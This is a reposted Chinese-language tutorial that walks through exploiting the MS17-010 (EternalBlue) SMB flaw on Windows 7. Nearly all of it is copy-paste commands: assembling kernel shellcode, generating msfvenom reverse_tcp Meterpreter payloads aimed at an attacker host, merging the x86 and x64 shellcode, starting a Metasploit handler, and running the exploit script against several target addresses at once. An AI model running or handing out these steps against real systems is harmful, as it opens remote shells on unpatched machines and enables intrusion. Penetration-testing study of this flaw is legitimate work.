转自:http://fuping.site/2017/08/16/HO ... LBLUE-ON-WINDOWS-7/
前言MS17-010已经过去很久了,利用PentestBox的方式也提到过,但都是基于python2.6那种方式实现的。本文将使用Sleepya的脚本利用ETERNALBLUE来实现对Win7进行攻击,从而获取Meterpreter反弹。
漏洞利用测试1.安装NASM安装完成后加入环境变量。 2.下载利用脚本,并编译内核shellcode
- git clone [url]https://github.com/worawit/MS17-010[/url]
复制代码[url=http://fuping.site/2017/08/16/HOW-TO-USE-PENTESTBOX-TO-EXPLOIT-ETERNALBLUE-ON-WINDOWS-7/%E4%B8%8B%E8%BD%BD%E8%84%9A%E6%9C%AC.jpg] 编译内核shellcode - cd MS17-010/shellcode/
- nasm -f bin eternalblue_kshellcode_x64.asm
- nasm -f bin eternalblue_kshellcode_x86.asm
复制代码 3.生成反弹exp
- msfvenom -p windows/meterpreter/reverse_tcp EXITFUNC=thread LHOST=192.168.217.1 LPORT=4445 -f raw -o ../../Git/MS17-010/shellcode/sc_x86_msf.bin
- msfvenom -p windows/x64/meterpreter/reverse_tcp EXITFUNC=thread LHOST=192.168.217.1 LPORT=4444 -f raw -o ../../Git/MS17-010/shellcode/sc_x64_msf.bin
复制代码[url=http://fuping.site/2017/08/16/HOW-TO-USE-PENTESTBOX-TO-EXPLOIT-ETERNALBLUE-ON-WINDOWS-7/%E7%94%9F%E6%88%90%E5%8F%8D%E5%BC%B9exp.jpg] 4.合并SHELLCODE
- cat eternalblue_kshellcode_x64 sc_x64_msf.bin > sc_x64.bin
- cat eternalblue_kshellcode_x86 sc_x86_msf.bin > sc_x86.bin
- python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
复制代码 5.开启Metasploit并监听
- msf > use exploit/multi/handler
- msf exploit(handler) > set ExitOnSession false
- msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
- msf exploit(handler) > set EXITFUNC thread
- msf exploit(handler) > set LHOST 192.168.217.1
- msf exploit(handler) > set LPORT 4444
- msf exploit(handler) > exploit -j
- ...
- msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
- msf exploit(handler) > set LPORT 4445
- msf exploit(handler) > exploit -j
复制代码[url=http://fuping.site/2017/08/16/HOW-TO-USE-PENTESTBOX-TO-EXPLOIT-ETERNALBLUE-ON-WINDOWS-7/%E5%BC%80%E5%90%AF%E7%9B%91%E5%90%AC.jpg] 6.进行攻击
- python eternalblue_exploit7.py 192.168.131.133 shellcodesc_all.bin
复制代码[url=http://fuping.site/2017/08/16/HOW-TO-USE-PENTESTBOX-TO-EXPLOIT-ETERNALBLUE-ON-WINDOWS-7/%E6%94%BB%E5%87%BB%E7%BB%93%E6%9E%9C.jpg]
看到已经获取Meterpreter反弹。 遇到的问题在PentestBox中运行一些命令时(如msfconsole),提示不是内部或外部命令,也不是可运行的程序或批处理文件。
解决方法:输入cmd之后再输入需要执行的命令。
[/url] 总结1.这种方式利用稍微简单点,不需要过多的命令,而且生成的SHELLCODE也具有复用性。
2.在以上的操作中,均生成了32位和64位的shellcode,最后利用eternalblue_sc_merge脚本合并到一起。然后在Eternalblue漏洞中利用合并的shellcode可以支持x86和x64,无需再检测目标体系结构。
3.在使用中设置了线程,可以同时对多个系统进行攻击测试。
例如: - python eternalblue_exploit7.py 192.168.131.133 shellcodesc_all.bin
- python eternalblue_exploit7.py 192.168.131.134 shellcodesc_all.bin
- python eternalblue_exploit7.py 192.168.131.135 shellcodesc_all.bin
- python eternalblue_exploit7.py 192.168.131.136 shellcodesc_all.bin
复制代码[url=http://fuping.site/2017/08/16/HOW-TO-USE-PENTESTBOX-TO-EXPLOIT-ETERNALBLUE-ON-WINDOWS-7/%E5%A4%9A%E4%B8%AA%E6%94%BB%E5%87%BB.jpg]
攻击结果:
[/url] 参考
|